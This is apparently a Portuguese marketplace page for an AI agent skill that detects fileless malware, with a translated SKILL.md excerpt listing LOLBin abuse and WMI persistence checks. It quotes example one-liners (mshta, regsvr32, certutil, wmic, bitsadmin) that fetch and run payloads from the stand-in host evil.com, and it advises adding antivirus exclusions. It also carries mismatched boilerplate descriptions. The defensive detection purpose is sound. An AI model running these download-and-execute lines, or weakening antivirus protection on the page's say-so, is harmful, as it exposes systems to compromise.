detecting-fileless-malware-techniques
Ensina seu agente de IA a escrever textos claros e bem estruturados.
O que ela faz
Esta ferramenta ajuda a encontrar e analisar programas maliciosos que operam diretamente na memória do computador, sem instalar arquivos tradicionais no disco. Ela foca em técnicas que usam ferramentas legítimas do Windows, como PowerShell e WMI.
Quando usar
- ✓Quando um alerta de segurança aponta um programa normal agindo de forma suspeita.
- ✓Ao investigar ataques que não deixam rastros de arquivos no computador.
- ✓Para analisar como programas maliciosos se escondem no registro do Windows ou usam ferramentas do sistema.
Exemplo do que pedir para a IA
“Procure por atividades suspeitas de programas como PowerShell ou WMI que não deveriam estar lá.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta examina o uso de programas comuns do Windows (como PowerShell, WMI) e o registro do sistema em busca de padrões que indicam a presença de malware que opera apenas na memória.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill detecting-fileless-malware-techniquesOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/detecting-fileless-malware-techniques/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Detecção de Técnicas de Malware Fileless
Quando Usar
- Alertas de EDR indicam comportamento suspeito de binários confiáveis do sistema (PowerShell, mshta, wmic, regsvr32)
- Investigação de ataques que não deixam arquivos de malware tradicionais no disco
- Análise de assinaturas de eventos WMI, payloads armazenados no registro ou abuso de tarefas agendadas para persistência
- Criação de regras de detecção para abuso de LOLBin (Living Off the Land Binary) em ambientes corporativos
- Forense de memória revela código malicioso, mas nenhum arquivo correspondente existe no sistema de arquivos
Não use para malware tradicional baseado em arquivos; métodos de análise estática e dinâmica padrão são mais apropriados para malware residente em disco.
Falso Positivo do Windows Defender / Antivírus
Alguns produtos antivírus de endpoint — notavelmente o Windows Defender (assinatura Trojan:script/Wacatac.H!ml) — podem colocar em quarentena a SKILL.md desta skill como maliciosa. Este é um falso positivo conhecido: o arquivo documenta intencionalmente padrões de ataque fileless (LOLBins, PowerShell codificado, indicadores YARA de memória) para detecção e investigação defensivas. O conteúdo é apenas educacional; ele não executa código.
Se colocado em quarentena: restaure o arquivo da quarentena, adicione uma exclusão para o diretório local de suas skills e consulte a issue #100 do GitHub para discussão. As strings YARA residem em references/yara-fileless-powershell.yar (não inline neste arquivo) para reduzir acionadores de scanner, preservando a regra para analistas.
Pré-requisitos
- Sysmon instalado e configurado com log abrangente (criação de processos, eventos WMI, alterações de registro)
- PowerShell Script Block Logging e Module Logging habilitados
- Volatility 3 para forense de memória de artefatos de malware fileless
- Process Monitor (ProcMon) para monitoramento de atividade do sistema em tempo real
- Acesso ao Log de Eventos do Windows com políticas de retenção adequadas
- Autoruns para identificar mecanismos de persistência
Fluxo de Trabalho
Etapa 1: Identificar Uso de LOLBin
Detectar abuso de binários legítimos do Windows para fins maliciosos:
Commonly Abused LOLBins and Detection Patterns:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
mshta.exe:
Abuse: Execute HTA files with embedded VBScript/JScript
Example: mshta http://evil.com/payload.hta
Example: mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -enc ...""")
Detect: mshta.exe with URL argument or vbscript: prefix
regsvr32.exe:
Abuse: Load scriptlets via COM (.sct files) - "Squiblydoo"
Example: regsvr32 /s /n /u /i:http://evil.com/payload.sct scrobj.dll
Detect: regsvr32.exe with /i: URL parameter
certutil.exe:
Abuse: Download files, decode Base64
Example: certutil -urlcache -split -f http://evil.com/payload.exe
Example: certutil -decode encoded.txt payload.exe
Detect: certutil.exe with -urlcache or -decode arguments
rundll32.exe:
Abuse: Execute DLL functions, JavaScript
Example: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";...
Detect: rundll32.exe with javascript: argument
wmic.exe:
Abuse: Execute code via XSL stylesheets
Example: wmic process get brief /format:"http://evil.com/payload.xsl"
Detect: wmic.exe with /format: URL parameter
bitsadmin.exe:
Abuse: Download files via BITS
Example: bitsadmin /transfer job http://evil.com/payload.exe C:\Temp\p.exe
Detect: bitsadmin.exe with /transfer or /addfile to external URL
cmstp.exe:
Abuse: Execute commands via INF file
Example: cmstp.exe /ni /s payload.inf
Detect: cmstp.exe execution from non-standard locations
Etapa 2: Detectar Persistência Baseada em WMI
Analisar assinaturas de eventos WMI usadas para persistência fileless:
# List WMI event subscriptions (filters, consumers, bindings)
wmic /namespace:"\\root\subscription" path __EventFilter get Name,Query /format:list
wmic /namespace:"\\root\subscription" path CommandLineEventConsumer get Name,CommandLineTemplate /format:list
wmic /namespace:"\\root\subscription" path ActiveScriptEventConsumer get Name,ScriptText /format:list
wmic /namespace:"\\root\subscription" path __FilterToConsumerBinding get Filter,Consumer /format:list
# PowerShell enumeration of WMI subscriptions
Get-WMIObject -Namespace root\Subscription -Class __EventFilter
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer
Get-WMIObject -Namespace root\Subscription -Class ActiveScriptEventConsumer
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding
…
Perguntas frequentes
Meu antivírus está bloqueando este arquivo. O que fazer?
Isso é um alarme falso comum. O arquivo documenta técnicas de ataque para ajudar na defesa, mas não executa código malicioso. Adicione o arquivo à lista de exceções do seu antivírus e consulte o link fornecido no documento para mais detalhes.
Preciso instalar algo para usar esta ferramenta?
Sim, para uma análise completa, é recomendado ter ferramentas como Sysmon, PowerShell com logs ativados e Volatility 3 instalados para monitorar e analisar o sistema em detalhes.
Esta ferramenta encontra todos os tipos de vírus?
Não, ela é especializada em malware 'fileless', que opera na memória. Para vírus que instalam arquivos no disco, métodos de análise tradicionais são mais adequados.
Detalhes
Descrição original do autor
Detects and analyzes fileless malware that operates entirely in memory using PowerShell, WMI, .NET reflection, registry-resident payloads, and living-off-the-land binaries (LOLBins) without writing traditional executable files to disk. Use for requests involving fileless threat detection, in-memory malware investigation, LOLBin abuse analysis, or WMI persistence examination. '
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #5668
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
django-security
Ajuda seu agente a implementar práticas de segurança em aplicações Django. Ele foca em autenticação, autorização e prevenção contra ataques comuns, garantindo um código mais seguro.
affaan-m/ECC
laravel-security
Ajuda seu agente a proteger aplicações Laravel contra ameaças. Implementa práticas de segurança para autenticação, autorização e prevenção de ataques comuns.
affaan-m/ECC
module-regression
Ajuda seu agente a gerenciar mudanças em projetos grandes. Garante que alterações em uma parte do código não quebrem outras partes.
affaan-m/ECC